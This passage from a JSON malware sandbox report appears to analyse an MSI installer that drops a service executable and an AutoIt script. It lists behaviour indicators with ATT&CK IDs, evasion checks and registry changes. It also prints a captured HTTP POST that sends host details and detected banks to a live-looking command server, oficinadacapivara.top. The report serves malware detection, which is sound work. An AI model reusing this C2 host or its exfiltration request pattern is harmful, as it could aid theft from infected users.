string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"Win32API|GetComputerNameEx|ComputerNameDnsHostname\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"PING\" (Indicator: \"ping\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found string \"Ping\" (Indicator: \"ping\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinW\" (Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp, 00000000-00004872.00000003.168025.03BE0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B20000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Users\\HAPUBWS\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcessWithLogon\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeBackupPrivilege\" (Indicator: \"SeBackupPrivilege\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"SHUTDOWN\" (Indicator: \"shutdown\") in Source: 00000000-00004872.00000003.168025.01123000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"audiodg_svc.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"msiexec.exe\" opened \"\\Device\\KsecDD\"\n \"MsiExec.exe\" opened \"\\Device\\KsecDD\"\n \"audiodg_svc.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5e","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"audiodg_svc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MYAPP\\CONFIG\"; Key: \"WORKDIR\"; Value: \"%LOCALAPPDATA%\\EfUdy1v3brSz\")\n \"audiodg_svc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MYAPP\\CONFIG\"; Key: \"DMPPATH\"; Value: \"%LOCALAPPDATA%\\EfUdy1v3brSz\")\n \"audiodg_svc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")\n \"audiodg_svc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"@%SYSTEMROOT%\\SYSTEM32\\DNSAPI.DLL,-103\"; Value: \"Domain Name System (DNS) Server Trust\"), \"audiodg_svc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"@%SYSTEMROOT%\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE\n-124\"; Value: \"Document Encryption\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Attempts to access unusual system drive letters","description":"\"msiexec.exe\" touched \"K:\"\n \"msiexec.exe\" touched \"L:\"\n \"msiexec.exe\" touched \"M:\"\n \"msiexec.exe\" touched \"N:\"\n \"msiexec.exe\" touched \"O:\"\n \"msiexec.exe\" touched \"P:\"\n \"msiexec.exe\" touched \"Q:\"","origin":"API Call","mitre_attack_id":"T1120","relevance":7,"id":"api-31","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"SetSystemPowerState\" (Indicator: \"SetSystemPowerState\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"InitiateSystemShutdownExW\" (Indicator: \"InitiateSystemShutdown\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"oxjrstqeoghk.au3\" - Location: [%LOCALAPPDATA%\\EfUdy1v3brSz\\oxjrstqeoghk.au3]- [targetUID: 00000000-00005172]\n Dropped file: \"executed.dat\" - Location: [%LOCALAPPDATA%\\EfUdy1v3brSz\\executed.dat]- [targetUID: 00000000-00005172]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to execute scripts via MSI custom actions during software installation","description":"Msi customAction script content with (CustomAction: \"CustomAction\"; indicators: [[\"Dim \", \"CreateObject(\", \"On Error Resume Next\"], [\"ExpandEnvironmentStrings\", \"WScript.Shell\"]]\"; File: \"G3d5duio.msi\")","origin":"Static Parser","mitre_attack_id":"T1546.016","relevance":1,"id":"static-208","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"Found string \"%PROGRAMFILES%\\Wireshark\\dumpcap.exe\" (Indicator: \"dumpcap.exe\"; Source: \"00000000-00005172-00000455-9278869712\")\n Found string \"%PROGRAMFILES%\\Wireshark\\tshark.exe\" (Indicator: \"tshark.exe\"; Source: \"00000000-00005172-00000455-9279159106\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-45","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/24 Antivirus vendors marked sample as malicious (4% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"\"GET / HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nHost: api.ipify.org\" Response ==> HTTP/1.1 200 OK\nDate: Fri\n 16 Oct 2026 15:03:27 GMT\nContent-Type: text/plain\nContent-Length: 13\nConnection: keep-alive\nServer: cloudflare\nVary: Origin\ncf-cache-status: DYNAMIC\nCF-RAY: a4b7f34d98895012-PDX with response body ==>36342E3132342E31322E313632.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$5f","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"api.ipify.org\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.26.12.205 on port 443 is sent without HTTP header\n TCP traffic to 104.21.54.21 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$60","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"audiodg_svc.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\oxjrstqeoghk.au3\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"msiexec.exe\" opened \"Z:\\MSI6e298.tmp\" with delete access\n \"audiodg_svc.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\oxjrstqeoghk.au3\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"System Security","name":"Hooks API calls","description":"\"Wow64Transition@NTDLL.DLL\" in \"MsiExec.exe\"\n \"Wow64Transition@NTDLL.DLL\" in \"audiodg_svc.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$61","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"audiodg_svc.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (Handle: 680)\n \"audiodg_svc.exe\" wrote 00000008 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (Handle: 680)\n \"audiodg_svc.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\EfUdy1v3brSz\\audiodg_svc.exe\" (Handle: 680)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /principal/aNuEntity.php HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 329\nHost: oficinadacapivara.top\" with payload:==> \"nome_pc=n70N9n8MjueHRn6&sistema_operacional=WIN_10 X64 (Build 16299)&usuario=Wx6UE7A&ip_local=192.168.0.2&ip_externo=170.250.66.160&data_hora=2026-10-16 08:03:50&antivirus=Removido&info_adicional=Windows: Windows 10 Pro; CPU: Intel(R) Core(R) Gold 6240R CPU @ 2.40GHz; RAM: 8 GB; DomÃnio: DESKTOP-FVVF82A&bancos_detectados=G-V.2\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Attempts to identify external IP address"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping multiple times"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"May check for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"intel_graph":{"map":{"Domain:api.ipify.org":{"type":"Domain","value":"api.ipify.org"},"Domain:oficinadacapivara.top":{"type":"Domain","value":"oficinadacapivara.top"},"File:01f139066eb3e0533e5a17dcc95eec0016e244e14d4acd83afe546dc3ee88a9d":{"type":"File","value":"01f139066eb3e0533e5a17dcc95eec0016e244e14d4acd83afe546dc3ee88a9d"},"File:4c8fdac932ee465bbcbb292c1570350284e46bd258fd961ea9c3bf69ccd65ee1":{"type":"File","value":"4c8fdac932ee465bbcbb292c1570350284e46bd258fd961ea9c3bf69ccd65ee1","filetype":"data (from un7z)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:af83c9130e2d9e31b0b2c337b88d4ec489cda0c46e4121da6cb8e976e970fd24":{"type":"File","value":"af83c9130e2d9e31b0b2c337b88d4ec489cda0c46e4121da6cb8e976e970fd24","filetype":"ASCII text, with very long lines (4017), with CRLF line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc":{"type":"File","value":"b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","filetype":"Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: gDv5frjMr2, Author: Unknown, Keywords: Installer, Comments: This installer database contains the logic and data required to install gDv5frjMr2., Template: Intel;11274, Revision Number: {3AC1C5D7-9FE8-4398-A842-EABB074A3DCB}, Create Time/Date: Fri Sep 11 15:57:54 2026, Last Saved Time/Date: Fri Sep 11 15:57:54 2026, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.2.4516), Security: 2","filetype_short":"CDF","mime_type":"application/x-msi"},"File:eb0a75a1c0b0a1127647d9cbbc91c04f3dacdc330e28d5028ea8f6ff617eeb1e":{"type":"File","value":"eb0a75a1c0b0a1127647d9cbbc91c04f3dacdc330e28d5028ea8f6ff617eeb1e"},"File:ff6c7f1c9dcff3b3a90cf57a9b4341dda0d76adb9e8667b4a3f75e15a2b7a832":{"type":"File","value":"ff6c7f1c9dcff3b3a90cf57a9b4341dda0d76adb9e8667b4a3f75e15a2b7a832","verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File found in known legitimate files database","File has very high prevalence"]},"filetype":"PE32 executable (DLL) (console) Intel 80386, for MS Windows, 5 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"Ip:104.21.54.21":{"type":"Ip","value":"104.21.54.21"},"Ip:104.26.12.205":{"type":"Ip","value":"104.26.12.205"},"Url:/":{"type":"Url","value":"/"},"Url:/principal/aNuEntity.php":{"type":"Url","value":"/principal/aNuEntity.php"}},"chains":[{"id":"1560669333876440968","root":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:4c8fdac932ee465bbcbb292c1570350284e46bd258fd961ea9c3bf69ccd65ee1"}],"verdict":{"verdict":"unknown"}},{"id":"1560669333876440966","root":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:af83c9130e2d9e31b0b2c337b88d4ec489cda0c46e4121da6cb8e976e970fd24"}],"verdict":{"verdict":"unknown"}},{"id":"1560669343014502210","root":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"File:ff6c7f1c9dcff3b3a90cf57a9b4341dda0d76adb9e8667b4a3f75e15a2b7a832"}],"verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File found in known legitimate files database","File has very high prevalence"]}},{"id":"sandbox_network","root":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","edges":[{"edge_kind":"contacted_ip","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"Ip:104.26.12.205"},{"edge_kind":"contacted_ip","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"Ip:104.21.54.21"},{"edge_kind":"contacted_domain","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"Domain:api.ipify.org"},{"edge_kind":"resolves_to","from_key":"Domain:api.ipify.org","to_key":"Ip:104.26.12.205"},{"edge_kind":"contacted_domain","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","to_key":"Domain:oficinadacapivara.top"},{"edge_kind":"resolves_to","from_key":"Domain:oficinadacapivara.top","to_key":"Ip:104.21.54.21"},{"edge_kind":"contacted_url","from_key":"File:b3823568346a6aaf5b3bfbdb5ecbdda873a212c